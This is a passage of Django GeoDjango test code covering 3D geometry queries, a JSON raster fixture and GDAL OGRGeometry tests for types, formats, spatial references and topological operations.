        lm = LayerMapping(MultiPoint3D, vrt_file, mpoint_mapping, transform=False)
        lm.save()
        self.assertEqual(3, MultiPoint3D.objects.count())

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_kml(self):
        """
        Test GeoQuerySet.kml() with Z values.
        """
        self._load_city_data()
        h = City3D.objects.kml(precision=6).get(name='Houston')
        # KML should be 3D.
        # `SELECT ST_AsKML(point, 6) FROM geo3d_city3d WHERE name = 'Houston';`
        ref_kml_regex = re.compile(r'^<Point><coordinates>-95.363\d+,29.763\d+,18</coordinates></Point>$')
        self.assertTrue(ref_kml_regex.match(h.kml))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_geojson(self):
        """
        Test GeoQuerySet.geojson() with Z values.
        """
        self._load_city_data()
        h = City3D.objects.geojson(precision=6).get(name='Houston')
        # GeoJSON should be 3D
        # `SELECT ST_AsGeoJSON(point, 6) FROM geo3d_city3d WHERE name='Houston';`
        ref_json_regex = re.compile(r'^{"type":"Point","coordinates":\[-95.363151,29.763374,18(\.0+)?\]}$')
        self.assertTrue(ref_json_regex.match(h.geojson))

    @skipUnlessDBFeature("supports_3d_functions")
    def test_union(self):
        """
        Testing the Union aggregate of 3D models.
        """
        # PostGIS query that returned the reference EWKT for this test:
        #  `SELECT ST_AsText(ST_Union(point)) FROM geo3d_city3d;`
        self._load_city_data()
        ref_ewkt = (
            'SRID=4326;MULTIPOINT(-123.305196 48.462611 15,-104.609252 38.255001 1433,'
            '-97.521157 34.464642 380,-96.801611 32.782057 147,-95.363151 29.763374 18,'
            '-95.23506 38.971823 251,-87.650175 41.850385 181,174.783117 -41.315268 14)'
        )
        ref_union = GEOSGeometry(ref_ewkt)
        union = City3D.objects.aggregate(Union('point'))['point__union']
        self.assertTrue(union.hasz)
        # Ordering of points in the resulting geometry may vary between implementations
        self.assertSetEqual({p.ewkt for p in ref_union}, {p.ewkt for p in union})

    @skipUnlessDBFeature("supports_3d_functions")
    def test_extent(self):
        """
        Testing the Extent3D aggregate for 3D models.
        """
        self._load_city_data()
        # `SELECT ST_Extent3D(point) FROM geo3d_city3d;`
        ref_extent3d = (-123.305196, -41.315268, 14, 174.783117, 48.462611, 1433)
        extent = City3D.objects.aggregate(Extent3D('point'))['point__extent3d']

        def check_extent3d(extent3d, tol=6):
            for ref_val, ext_val in zip(ref_extent3d, extent3d):
                self.assertAlmostEqual(ref_val, ext_val, tol)

        check_extent3d(extent)
        self.assertIsNone(City3D.objects.none().aggregate(Extent3D('point'))['point__extent3d'])

    @ignore_warnings(category=RemovedInDjango20Warning)
    @skipUnlessDBFeature("supports_3d_functions")
    def test_perimeter(self):
        """
        Testing GeoQuerySet.perimeter() on 3D fields.
        """
        self._load_polygon_data()
        # Reference query for values below:
        #  `SELECT ST_Perimeter3D(poly), ST_Perimeter2D(poly) FROM geo3d_polygon3d;`
        ref_perim_3d = 76859.2620451
        ref_perim_2d = 76859.2577803
        tol = 6
        self.assertAlmostEqual(ref_perim_2d,
                               Polygon2D.objects.perimeter().get(name='2D BBox').perimeter.m,
                               tol)
        self.assertAlmostEqual(ref_perim_3d,
                               Polygon3D.objects.perimeter().get(name='3D BBox').perimeter.m,
                               tol)

    @ignore_warnings(category=RemovedInDjango20Warning)
    @skipUnlessDBFeature("supports_3d_functions")
    def test_length(self):
        """
        Testing GeoQuerySet.length() on 3D fields.
        """
        # ST_Length_Spheroid Z-aware, and thus does not need to use
        # a separate function internally.
        # `SELECT ST_Length_Spheroid(line, 'SPHEROID["GRS 1980",6378137,298.257222101]')
        #    FROM geo3d_interstate[2d|3d];`
        self._load_interstate_data()
        tol = 3
        ref_length_2d = 4368.1721949481
        ref_length_3d = 4368.62547052088
        self.assertAlmostEqual(ref_length_2d,
                               Interstate2D.objects.length().get(name='I-45').length.m,
                               tol)
        self.assertAlmostEqual(ref_length_3d,
                               Interstate3D.objects.length().get(name='I-45').length.m,
                               tol)

        # Making sure `ST_Length3D` is used on for a projected
        # and 3D model rather than `ST_Length`.
        # `SELECT ST_Length(line) FROM geo3d_interstateproj2d;`
        ref_length_2d = 4367.71564892392
        # `SELECT ST_Length3D(line) FROM geo3d_interstateproj3d;`
        ref_length_3d = 4368.16897234101
        self.assertAlmostEqual(ref_length_2d,
                               InterstateProj2D.objects.length().get(name='I-45').length.m,
                               tol)
        self.assertAlmostEqual(ref_length_3d,
                               InterstateProj3D.objects.length().get(name='I-45').length.m,
                               tol)

    @ignore_warnings(category=RemovedInDjango20Warning)
    @skipUnlessDBFeature("supports_3d_functions")
    def test_scale(self):
        """
        Testing GeoQuerySet.scale() on Z values.
        """
        self._load_city_data()
        # Mapping of City name to reference Z values.
        zscales = (-3, 4, 23)
        for zscale in zscales:
            for city in City3D.objects.scale(1.0, 1.0, zscale):
                self.assertEqual(city_dict[city.name][2] * zscale, city.scale.z)

    @ignore_warnings(category=RemovedInDjango20Warning)
    @skipUnlessDBFeature("supports_3d_functions")
    def test_translate(self):
        """
        Testing GeoQuerySet.translate() on Z values.
        """
        self._load_city_data()
        ztranslations = (5.23, 23, -17)
        for ztrans in ztranslations:
            for city in City3D.objects.translate(0, 0, ztrans):
                self.assertEqual(city_dict[city.name][2] + ztrans, city.translate.z)


@skipUnlessDBFeature("gis_enabled", "supports_3d_functions")
class Geo3DFunctionsTests(Geo3DLoadingHelper, TestCase):
    def test_kml(self):
        """
        Test KML() function with Z values.
        """
        self._load_city_data()
        h = City3D.objects.annotate(kml=AsKML('point', precision=6)).get(name='Houston')
        # KML should be 3D.
        # `SELECT ST_AsKML(point, 6) FROM geo3d_city3d WHERE name = 'Houston';`
        ref_kml_regex = re.compile(r'^<Point><coordinates>-95.363\d+,29.763\d+,18</coordinates></Point>$')
        self.assertTrue(ref_kml_regex.match(h.kml))

    def test_geojson(self):
        """
        Test GeoJSON() function with Z values.
        """
        self._load_city_data()
        h = City3D.objects.annotate(geojson=AsGeoJSON('point', precision=6)).get(name='Houston')
        # GeoJSON should be 3D
        # `SELECT ST_AsGeoJSON(point, 6) FROM geo3d_city3d WHERE name='Houston';`
        ref_json_regex = re.compile(r'^{"type":"Point","coordinates":\[-95.363151,29.763374,18(\.0+)?\]}$')
        self.assertTrue(ref_json_regex.match(h.geojson))

    def test_perimeter(self):
        """
        Testing Perimeter() function on 3D fields.
        """
        self._load_polygon_data()
        # Reference query for values below:
        #  `SELECT ST_Perimeter3D(poly), ST_Perimeter2D(poly) FROM geo3d_polygon3d;`
        ref_perim_3d = 76859.2620451
        ref_perim_2d = 76859.2577803
        tol = 6
        poly2d = Polygon2D.objects.annotate(perimeter=Perimeter('poly')).get(name='2D BBox')
        self.assertAlmostEqual(ref_perim_2d, poly2d.perimeter.m, tol)
        poly3d = Polygon3D.objects.annotate(perimeter=Perimeter('poly')).get(name='3D BBox')
        self.assertAlmostEqual(ref_perim_3d, poly3d.perimeter.m, tol)

    def test_length(self):
        """
        Testing Length() function on 3D fields.
        """
        # ST_Length_Spheroid Z-aware, and thus does not need to use
        # a separate function internally.
        # `SELECT ST_Length_Spheroid(line, 'SPHEROID["GRS 1980",6378137,298.257222101]')
        #    FROM geo3d_interstate[2d|3d];`
        self._load_interstate_data()
        tol = 3
        ref_length_2d = 4368.1721949481
        ref_length_3d = 4368.62547052088
        inter2d = Interstate2D.objects.annotate(length=Length('line')).get(name='I-45')
        self.assertAlmostEqual(ref_length_2d, inter2d.length.m, tol)
        inter3d = Interstate3D.objects.annotate(length=Length('line')).get(name='I-45')
        self.assertAlmostEqual(ref_length_3d, inter3d.length.m, tol)

        # Making sure `ST_Length3D` is used on for a projected
        # and 3D model rather than `ST_Length`.
        # `SELECT ST_Length(line) FROM geo3d_interstateproj2d;`
        ref_length_2d = 4367.71564892392
        # `SELECT ST_Length3D(line) FROM geo3d_interstateproj3d;`
        ref_length_3d = 4368.16897234101
        inter2d = InterstateProj2D.objects.annotate(length=Length('line')).get(name='I-45')
        self.assertAlmostEqual(ref_length_2d, inter2d.length.m, tol)
        inter3d = InterstateProj3D.objects.annotate(length=Length('line')).get(name='I-45')
        self.assertAlmostEqual(ref_length_3d, inter3d.length.m, tol)

    def test_scale(self):
        """
        Testing Scale() function on Z values.
        """
        self._load_city_data()
        # Mapping of City name to reference Z values.
        zscales = (-3, 4, 23)
        for zscale in zscales:
            for city in City3D.objects.annotate(scale=Scale('point', 1.0, 1.0, zscale)):
                self.assertEqual(city_dict[city.name][2] * zscale, city.scale.z)

    def test_translate(self):
        """
        Testing Translate() function on Z values.
        """
        self._load_city_data()
        ztranslations = (5.23, 23, -17)
        for ztrans in ztranslations:
            for city in City3D.objects.annotate(translate=Translate('point', 0, 0, ztrans)):
                self.assertEqual(city_dict[city.name][2] + ztrans, city.translate.z)












"""
Text-based test rasters
"""

JSON_RASTER = """{
    "srid": 4326,
    "origin": [0, 0],
    "scale": [-1, 1],
    "skew": [0, 0],
    "width": 5,
    "height": 5,
    "nr_of_bands": 1,
    "bands": [{"data": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
                        15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}]
}
"""












import json
import unittest
from binascii import b2a_hex
from unittest import skipUnless

from django.contrib.gis.gdal import HAS_GDAL
from django.utils.six.moves import range

from ..test_data import TestDataMixin

try:
    from django.utils.six.moves import cPickle as pickle
except ImportError:
    import pickle


if HAS_GDAL:
    from django.contrib.gis.gdal import (
        OGRGeometry, OGRGeomType, GDALException, OGRIndexError,
        SpatialReference, CoordTransform, GDAL_VERSION,
    )


@skipUnless(HAS_GDAL, "GDAL is required")
class OGRGeomTest(unittest.TestCase, TestDataMixin):
    "This tests the OGR Geometry."

    def test_geomtype(self):
        "Testing OGRGeomType object."

        # OGRGeomType should initialize on all these inputs.
        OGRGeomType(1)
        OGRGeomType(7)
        OGRGeomType('point')
        OGRGeomType('GeometrycollectioN')
        OGRGeomType('LINearrING')
        OGRGeomType('Unknown')

        # Should throw TypeError on this input
        with self.assertRaises(GDALException):
            OGRGeomType(23)
        with self.assertRaises(GDALException):
            OGRGeomType('fooD')
        with self.assertRaises(GDALException):
            OGRGeomType(9)

        # Equivalence can take strings, ints, and other OGRGeomTypes
        self.assertEqual(OGRGeomType(1), OGRGeomType(1))
        self.assertEqual(OGRGeomType(7), 'GeometryCollection')
        self.assertEqual(OGRGeomType('point'), 'POINT')
        self.assertNotEqual(OGRGeomType('point'), 2)
        self.assertEqual(OGRGeomType('unknown'), 0)
        self.assertEqual(OGRGeomType(6), 'MULtiPolyGON')
        self.assertEqual(OGRGeomType(1), OGRGeomType('point'))
        self.assertNotEqual(OGRGeomType('POINT'), OGRGeomType(6))

        # Testing the Django field name equivalent property.
        self.assertEqual('PointField', OGRGeomType('Point').django)
        self.assertEqual('GeometryField', OGRGeomType('Geometry').django)
        self.assertEqual('GeometryField', OGRGeomType('Unknown').django)
        self.assertIsNone(OGRGeomType('none').django)

        # 'Geometry' initialization implies an unknown geometry type.
        gt = OGRGeomType('Geometry')
        self.assertEqual(0, gt.num)
        self.assertEqual('Unknown', gt.name)

    def test_geomtype_25d(self):
        "Testing OGRGeomType object with 25D types."
        wkb25bit = OGRGeomType.wkb25bit
        self.assertEqual(OGRGeomType(wkb25bit + 1), 'Point25D')
        self.assertEqual(OGRGeomType('MultiLineString25D'), (5 + wkb25bit))
        self.assertEqual('GeometryCollectionField', OGRGeomType('GeometryCollection25D').django)

    def test_wkt(self):
        "Testing WKT output."
        for g in self.geometries.wkt_out:
            geom = OGRGeometry(g.wkt)
            self.assertEqual(g.wkt, geom.wkt)

    def test_ewkt(self):
        "Testing EWKT input/output."
        for ewkt_val in ('POINT (1 2 3)', 'LINEARRING (0 0,1 1,2 1,0 0)'):
            # First with ewkt output when no SRID in EWKT
            self.assertEqual(ewkt_val, OGRGeometry(ewkt_val).ewkt)
            # No test consumption with an SRID specified.
            ewkt_val = 'SRID=4326;%s' % ewkt_val
            geom = OGRGeometry(ewkt_val)
            self.assertEqual(ewkt_val, geom.ewkt)
            self.assertEqual(4326, geom.srs.srid)

    def test_gml(self):
        "Testing GML output."
        for g in self.geometries.wkt_out:
            geom = OGRGeometry(g.wkt)
            exp_gml = g.gml
            if GDAL_VERSION >= (1, 8):
                # In GDAL 1.8, the non-conformant GML tag  <gml:GeometryCollection> was
                # replaced with <gml:MultiGeometry>.
                exp_gml = exp_gml.replace('GeometryCollection', 'MultiGeometry')
            self.assertEqual(exp_gml, geom.gml)

    def test_hex(self):
        "Testing HEX input/output."
        for g in self.geometries.hex_wkt:
            geom1 = OGRGeometry(g.wkt)
            self.assertEqual(g.hex.encode(), geom1.hex)
            # Constructing w/HEX
            geom2 = OGRGeometry(g.hex)
            self.assertEqual(geom1, geom2)

    def test_wkb(self):
        "Testing WKB input/output."
        for g in self.geometries.hex_wkt:
            geom1 = OGRGeometry(g.wkt)
            wkb = geom1.wkb
            self.assertEqual(b2a_hex(wkb).upper(), g.hex.encode())
            # Constructing w/WKB.
            geom2 = OGRGeometry(wkb)
            self.assertEqual(geom1, geom2)

    def test_json(self):
        "Testing GeoJSON input/output."
        for g in self.geometries.json_geoms:
            geom = OGRGeometry(g.wkt)
            if not hasattr(g, 'not_equal'):
                # Loading jsons to prevent decimal differences
                self.assertEqual(json.loads(g.json), json.loads(geom.json))
                self.assertEqual(json.loads(g.json), json.loads(geom.geojson))
            self.assertEqual(OGRGeometry(g.wkt), OGRGeometry(geom.json))
        # Test input with some garbage content (but valid json) (#15529)
        geom = OGRGeometry('{"type": "Point", "coordinates": [ 100.0, 0.0 ], "other": "<test>"}')
        self.assertIsInstance(geom, OGRGeometry)

    def test_points(self):
        "Testing Point objects."

        OGRGeometry('POINT(0 0)')
        for p in self.geometries.points:
            if not hasattr(p, 'z'):  # No 3D
                pnt = OGRGeometry(p.wkt)
                self.assertEqual(1, pnt.geom_type)
                self.assertEqual('POINT', pnt.geom_name)
                self.assertEqual(p.x, pnt.x)
                self.assertEqual(p.y, pnt.y)
                self.assertEqual((p.x, p.y), pnt.tuple)

    def test_multipoints(self):
        "Testing MultiPoint objects."
        for mp in self.geometries.multipoints:
            mgeom1 = OGRGeometry(mp.wkt)  # First one from WKT
            self.assertEqual(4, mgeom1.geom_type)
            self.assertEqual('MULTIPOINT', mgeom1.geom_name)
            mgeom2 = OGRGeometry('MULTIPOINT')  # Creating empty multipoint
            mgeom3 = OGRGeometry('MULTIPOINT')
            for g in mgeom1:
                mgeom2.add(g)  # adding each point from the multipoints
                mgeom3.add(g.wkt)  # should take WKT as well
            self.assertEqual(mgeom1, mgeom2)  # they should equal
            self.assertEqual(mgeom1, mgeom3)
            self.assertEqual(mp.coords, mgeom2.coords)
            self.assertEqual(mp.n_p, mgeom2.point_count)

    def test_linestring(self):
        "Testing LineString objects."
        prev = OGRGeometry('POINT(0 0)')
        for ls in self.geometries.linestrings:
            linestr = OGRGeometry(ls.wkt)
            self.assertEqual(2, linestr.geom_type)
            self.assertEqual('LINESTRING', linestr.geom_name)
            self.assertEqual(ls.n_p, linestr.point_count)
            self.assertEqual(ls.coords, linestr.tuple)
            self.assertEqual(linestr, OGRGeometry(ls.wkt))
            self.assertNotEqual(linestr, prev)
            with self.assertRaises(OGRIndexError):
                linestr.__getitem__(len(linestr))
            prev = linestr

            # Testing the x, y properties.
            x = [tmpx for tmpx, tmpy in ls.coords]
            y = [tmpy for tmpx, tmpy in ls.coords]
            self.assertEqual(x, linestr.x)
            self.assertEqual(y, linestr.y)

    def test_multilinestring(self):
        "Testing MultiLineString objects."
        prev = OGRGeometry('POINT(0 0)')
        for mls in self.geometries.multilinestrings:
            mlinestr = OGRGeometry(mls.wkt)
            self.assertEqual(5, mlinestr.geom_type)
            self.assertEqual('MULTILINESTRING', mlinestr.geom_name)
            self.assertEqual(mls.n_p, mlinestr.point_count)
            self.assertEqual(mls.coords, mlinestr.tuple)
            self.assertEqual(mlinestr, OGRGeometry(mls.wkt))
            self.assertNotEqual(mlinestr, prev)
            prev = mlinestr
            for ls in mlinestr:
                self.assertEqual(2, ls.geom_type)
                self.assertEqual('LINESTRING', ls.geom_name)
            with self.assertRaises(OGRIndexError):
                mlinestr.__getitem__(len(mlinestr))

    def test_linearring(self):
        "Testing LinearRing objects."
        prev = OGRGeometry('POINT(0 0)')
        for rr in self.geometries.linearrings:
            lr = OGRGeometry(rr.wkt)
            # self.assertEqual(101, lr.geom_type.num)
            self.assertEqual('LINEARRING', lr.geom_name)
            self.assertEqual(rr.n_p, len(lr))
            self.assertEqual(lr, OGRGeometry(rr.wkt))
            self.assertNotEqual(lr, prev)
            prev = lr

    def test_polygons(self):
        "Testing Polygon objects."

        # Testing `from_bbox` class method
        bbox = (-180, -90, 180, 90)
        p = OGRGeometry.from_bbox(bbox)
        self.assertEqual(bbox, p.extent)

        prev = OGRGeometry('POINT(0 0)')
        for p in self.geometries.polygons:
            poly = OGRGeometry(p.wkt)
            self.assertEqual(3, poly.geom_type)
            self.assertEqual('POLYGON', poly.geom_name)
            self.assertEqual(p.n_p, poly.point_count)
            self.assertEqual(p.n_i + 1, len(poly))

            # Testing area & centroid.
            self.assertAlmostEqual(p.area, poly.area, 9)
            x, y = poly.centroid.tuple
            self.assertAlmostEqual(p.centroid[0], x, 9)
            self.assertAlmostEqual(p.centroid[1], y, 9)

            # Testing equivalence
            self.assertEqual(poly, OGRGeometry(p.wkt))
            self.assertNotEqual(poly, prev)

            if p.ext_ring_cs:
                ring = poly[0]
                self.assertEqual(p.ext_ring_cs, ring.tuple)
                self.assertEqual(p.ext_ring_cs, poly[0].tuple)
                self.assertEqual(len(p.ext_ring_cs), ring.point_count)

            for r in poly:
                self.assertEqual('LINEARRING', r.geom_name)

    def test_closepolygons(self):
        "Testing closing Polygon objects."
        # Both rings in this geometry are not closed.
        poly = OGRGeometry('POLYGON((0 0, 5 0, 5 5, 0 5), (1 1, 2 1, 2 2, 2 1))')
        self.assertEqual(8, poly.point_count)
        with self.assertRaises(GDALException):
            poly.centroid

        poly.close_rings()
        self.assertEqual(10, poly.point_count)  # Two closing points should've been added
        self.assertEqual(OGRGeometry('POINT(2.5 2.5)'), poly.centroid)

    def test_multipolygons(self):
        "Testing MultiPolygon objects."
        OGRGeometry('POINT(0 0)')
        for mp in self.geometries.multipolygons:
            mpoly = OGRGeometry(mp.wkt)
            self.assertEqual(6, mpoly.geom_type)
            self.assertEqual('MULTIPOLYGON', mpoly.geom_name)
            if mp.valid:
                self.assertEqual(mp.n_p, mpoly.point_count)
                self.assertEqual(mp.num_geom, len(mpoly))
                with self.assertRaises(OGRIndexError):
                    mpoly.__getitem__(len(mpoly))
                for p in mpoly:
                    self.assertEqual('POLYGON', p.geom_name)
                    self.assertEqual(3, p.geom_type)
            self.assertEqual(mpoly.wkt, OGRGeometry(mp.wkt).wkt)

    def test_srs(self):
        "Testing OGR Geometries with Spatial Reference objects."
        for mp in self.geometries.multipolygons:
            # Creating a geometry w/spatial reference
            sr = SpatialReference('WGS84')
            mpoly = OGRGeometry(mp.wkt, sr)
            self.assertEqual(sr.wkt, mpoly.srs.wkt)

            # Ensuring that SRS is propagated to clones.
            klone = mpoly.clone()
            self.assertEqual(sr.wkt, klone.srs.wkt)

            # Ensuring all children geometries (polygons and their rings) all
            # return the assigned spatial reference as well.
            for poly in mpoly:
                self.assertEqual(sr.wkt, poly.srs.wkt)
                for ring in poly:
                    self.assertEqual(sr.wkt, ring.srs.wkt)

            # Ensuring SRS propagate in topological ops.
            a = OGRGeometry(self.geometries.topology_geoms[0].wkt_a, sr)
            b = OGRGeometry(self.geometries.topology_geoms[0].wkt_b, sr)
            diff = a.difference(b)
            union = a.union(b)
            self.assertEqual(sr.wkt, diff.srs.wkt)
            self.assertEqual(sr.srid, union.srs.srid)

            # Instantiating w/an integer SRID
            mpoly = OGRGeometry(mp.wkt, 4326)
            self.assertEqual(4326, mpoly.srid)
            mpoly.srs = SpatialReference(4269)
            self.assertEqual(4269, mpoly.srid)
            self.assertEqual('NAD83', mpoly.srs.name)

            # Incrementing through the multipolygon after the spatial reference
            # has been re-assigned.
            for poly in mpoly:
                self.assertEqual(mpoly.srs.wkt, poly.srs.wkt)
                poly.srs = 32140
                for ring in poly:
                    # Changing each ring in the polygon
                    self.assertEqual(32140, ring.srs.srid)
                    self.assertEqual('NAD83 / Texas South Central', ring.srs.name)
                    ring.srs = str(SpatialReference(4326))  # back to WGS84
                    self.assertEqual(4326, ring.srs.srid)

                    # Using the `srid` property.
                    ring.srid = 4322
                    self.assertEqual('WGS 72', ring.srs.name)
                    self.assertEqual(4322, ring.srid)

            # srs/srid may be assigned their own values, even when srs is None.
            mpoly = OGRGeometry(mp.wkt, srs=None)
            mpoly.srs = mpoly.srs
            mpoly.srid = mpoly.srid

    def test_srs_transform(self):
        "Testing transform()."
        orig = OGRGeometry('POINT (-104.609 38.255)', 4326)
        trans = OGRGeometry('POINT (992385.4472045 481455.4944650)', 2774)

        # Using an srid, a SpatialReference object, and a CoordTransform object
        # or transformations.
        t1, t2, t3 = orig.clone(), orig.clone(), orig.clone()
        t1.transform(trans.srid)
        t2.transform(SpatialReference('EPSG:2774'))
        ct = CoordTransform(SpatialReference('WGS84'), SpatialReference(2774))
        t3.transform(ct)

        # Testing use of the `clone` keyword.
        k1 = orig.clone()
        k2 = k1.transform(trans.srid, clone=True)
        self.assertEqual(k1, orig)
        self.assertNotEqual(k1, k2)

        prec = 3
        for p in (t1, t2, t3, k2):
            self.assertAlmostEqual(trans.x, p.x, prec)
            self.assertAlmostEqual(trans.y, p.y, prec)

    def test_transform_dim(self):
        "Testing coordinate dimension is the same on transformed geometries."
        ls_orig = OGRGeometry('LINESTRING(-104.609 38.255)', 4326)
        ls_trans = OGRGeometry('LINESTRING(992385.4472045 481455.4944650)', 2774)

        prec = 3
        ls_orig.transform(ls_trans.srs)
        # Making sure the coordinate dimension is still 2D.
        self.assertEqual(2, ls_orig.coord_dim)
        self.assertAlmostEqual(ls_trans.x[0], ls_orig.x[0], prec)
        self.assertAlmostEqual(ls_trans.y[0], ls_orig.y[0], prec)

    def test_difference(self):
        "Testing difference()."
        for i in range(len(self.geometries.topology_geoms)):
            a = OGRGeometry(self.geometries.topology_geoms[i].wkt_a)
            b = OGRGeometry(self.geometries.topology_geoms[i].wkt_b)
            d1 = OGRGeometry(self.geometries.diff_geoms[i].wkt)
            d2 = a.difference(b)
            self.assertEqual(d1, d2)
            self.assertEqual(d1, a - b)  # __sub__ is difference operator
            a -= b  # testing __isub__
            self.assertEqual(d1, a)

    def test_intersection(self):
        "Testing intersects() and intersection()."
        for i in range(len(self.geometries.topology_geoms)):
            a = OGRGeometry(self.geometries.topology_geoms[i].wkt_a)
            b = OGRGeometry(self.geometries.topology_geoms[i].wkt_b)
            i1 = OGRGeometry(self.geometries.intersect_geoms[i].wkt)
            self.assertTrue(a.intersects(b))
            i2 = a.intersection(b)
            self.assertEqual(i1, i2)
            self.assertEqual(i1, a & b)  # __and__ is intersection operator
            a &= b  # testing __iand__
            self.assertEqual(i1, a)

    def test_symdifference(self):
        "Testing sym_difference()."
        for i in range(len(self.geometries.topology_geoms)):
            a = OGRGeometry(self.geometries.topology_geoms[i].wkt_a)
            b = OGRGeometry(self.geometries.topology_geoms[i].wkt_b)
            d1 = OGRGeometry(self.geometries.sdiff_geoms[i].wkt)
            d2 = a.sym_difference(b)
            self.assertEqual(d1, d2)
            self.assertEqual(d1, a ^ b)  # __xor__ is symmetric difference operator
            a ^= b  # testing __ixor__
            self.assertEqual(d1, a)

    def test_union(self):
        "Testing union()."
        for i in range(len(self.geometries.topology_geoms)):
            a = OGRGeometry(self.geometries.topology_geoms[i].wkt_a)
            b = OGRGeometry(self.geometries.topology_geoms[i].wkt_b)
            u1 = OGRGeometry(self.geometries.union_geoms[i].wkt)
            u2 = a.union(b)
            self.assertEqual(u1, u2)
            self.assertEqual(u1, a | b)  # __or__ is union operator
            a |= b  # testing __ior__
            self.assertEqual(u1, a)

    def test_add(self):
        "Testing GeometryCollection.add()."
        # Can't insert a Point into a MultiPolygon.
        mp = OGRGeometry('MultiPolygon')
        pnt = OGRGeometry('POINT(5 23)')
        with self.assertRaises(GDALException):
            mp.add(pnt)

        # GeometryCollection.add may take an OGRGeometry (if another collection
        # of the same type all child geoms will be added individually) or WKT.
        for mp in self.geometries.multipolygons:
            mpoly = OGRGeometry(mp.wkt)
            mp1 = OGRGeometry('MultiPolygon')
            mp2 = OGRGeometry('MultiPolygon')
            mp3 = OGRGeometry('MultiPolygon')

            for poly in mpoly:
                mp1.add(poly)  # Adding a geometry at a time
                mp2.add(poly.wkt)  # Adding WKT
            mp3.add(mpoly)  # Adding a MultiPolygon's entire contents at once.
            for tmp in (mp1, mp2, mp3):
                self.assertEqual(mpoly, tmp)

    def test_extent(self):
        "Testing `extent` property."
        # The xmin, ymin, xmax, ymax of the MultiPoint should be returned.
        mp = OGRGeometry('MULTIPOINT(5 23, 0 0, 10 50)')
        self.assertEqual((0.0, 0.0, 10.0, 50.0), mp.extent)
        # Testing on the 'real world' Polygon.
        poly = OGRGeometry(self.geometries.polygons[3].wkt)
        ring = poly.shell
        x, y = ring.x, ring.y
        xmin, ymin = min(x), min(y)
        xmax, ymax = max(x), max(y)
        self.assertEqual((xmin, ymin, xmax, ymax), poly.extent)

    def test_25D(self):
        "Testing 2.5D geometries."
        pnt_25d = OGRGeometry('POINT(1 2 3)')
        self.assertEqual('Point25D', pnt_25d.geom_type.name)
        self.assertEqual(3.0, pnt_25d.z)
        self.assertEqual(3, pnt_25d.coord_dim)
        ls_25d = OGRGeometry('LINESTRING(1 1 1,2 2 2,3 3 3)')
        self.assertEqual('LineString25D', ls_25d.geom_type.name)
        self.assertEqual([1.0, 2.0, 3.0], ls_25d.z)
        self.assertEqual(3, ls_25d.coord_dim)

    def test_pickle(self):
        "Testing pickle support."
        g1 = OGRGeometry('LINESTRING(1 1 1,2 2 2,3 3 3)', 'WGS84')
        g2 = pickle.loads(pickle.dumps(g1))
        self.assertEqual(g1, g2)
        self.assertEqual(4326, g2.srs.srid)
        self.assertEqual(g1.srs.wkt, g2.srs.wkt)

    def test_ogrgeometry_transform_workaround(self):
        "Testing coordinate dimensions on geometries after transformation."
        # A bug in GDAL versions prior to 1.7 changes the coordinate
        # dimension of a geometry after it has been transformed.
        # This test ensures that the bug workarounds employed within
        # `OGRGeometry.transform` indeed work.
        wkt_2d = "MULTILINESTRING ((0 0,1 1,2 2))"
        wkt_3d = "MULTILINESTRING ((0 0 0,1 1 1,2 2 2))"
        srid = 4326

        # For both the 2D and 3D MultiLineString, ensure _both_ the dimension
        # of the collection and the component LineString have the expected
        # coordinate dimension after transform.
        geom = OGRGeometry(wkt_2d, srid)
        geom.transform(srid)
        self.assertEqual(2, geom.coord_dim)
        self.assertEqual(2, geom[0].coord_dim)
        self.assertEqual(wkt_2d, geom.wkt)

        geom = OGRGeometry(wkt_3d, srid)
        geom.transform(srid)
        self.assertEqual(3, geom.coord_dim)
        self.assertEqual(3, geom[0].coord_dim)
        self.assertEqual(wkt_3d, geom.wkt)

    # Testing binary predicates, `assertIs` is used to check that bool is returned.

    def test_equivalence_regression(self):
        "Testing equivalence methods with non-OGRGeometry instances."
        self.assertIsNotNone(OGRGeometry('POINT(0 0)'))
        self.assertNotEqual(OGRGeometry('LINESTRING(0 0, 1 1)'), 3)

    def test_contains(self):
        self.assertIs(OGRGeometry('POINT(0 0)').contains(OGRGeometry('POINT(0 0)')), True)
        self.assertIs(OGRGeometry('POINT(0 0)').contains(OGRGeometry('POINT(0 1)')), False)

    def test_crosses(self):
        self.assertIs(OGRGeometry('LINESTRING(0 0, 1 1)').crosses(OGRGeometry('LINESTRING(0 1, 1 0)')), True)
        self.assertIs(OGRGeometry('LINESTRING(0 0, 0 1)').crosses(OGRGeometry('LINESTRING(1 0, 1 1)')), False)

    def test_disjoint(self):
        self.assertIs(OGRGeometry('LINESTRING(0 0, 1 1)').disjoint(OGRGeometry('LINESTRING(0 1, 1 0)')), False)
        self.assertIs(OGRGeometry('LINESTRING(0 0, 0 1)').disjoint(OGRGeometry('LINESTRING(1 0, 1 1)')), True)

    def test_equals(self):
        self.assertIs(OGRGeometry('POINT(0 0)').contains(OGRGeometry('POINT(0 0)')), True)
        self.assertIs(OGRGeometry('POINT(0 0)').contains(OGRGeometry('POINT(0 1)')), False)

    def test_intersects(self):
        self.assertIs(OGRGeometry('LINESTRING(0 0, 1 1)').intersects(OGRGeometry('LINESTRING(0 1, 1 0)')), True)
        self.assertIs(OGRGeometry('LINESTRING(0 0, 0 1)').intersects(OGRGeometry('LINESTRING(1 0, 1 1)')), False)

    def test_overlaps(self):
        self.assertIs(
            OGRGeometry('POLYGON ((0 0, 0 2, 2 2, 2 0, 0 0))').overlaps(
                OGRGeometry('POLYGON ((1 1, 1 5, 5 5, 5 1, 1 1))')
            ), True
        )
        self.assertIs(OGRGeometry('POINT(0 0)').overlaps(OGRGeometry('POINT(0 1)')), False)

    def test_touches(self):
        self.assertIs(
            OGRGeometry('POLYGON ((0 0, 0 1, 1 1, 1 0, 0 0))').touches(OGRGeometry('LINESTRING(0 2, 2 0)')), True
        )
        self.assertIs(OGRGeometry('POINT(0 0)').touches(OGRGeometry('POINT(0 1)')), False)

    def test_within(self):
        self.assertIs(
            OGRGeometry('POINT(0.5 0.5)').within(OGRGeometry('POLYGON ((0 0, 0 1, 1 1, 1 0, 0 0))')), True
        )
        self.assertIs(OGRGeometry('POINT(0 0)').within(OGRGeometry('POINT(0 1)')), False)

    def test_from_gml(self):
        self.assertEqual(
            OGRGeometry('POINT(0 0)'),
            OGRGeometry.from_gml(
                '<gml:Point gml:id="p21" srsName="http://www.opengis.net/def/crs/EPSG/0/4326">'
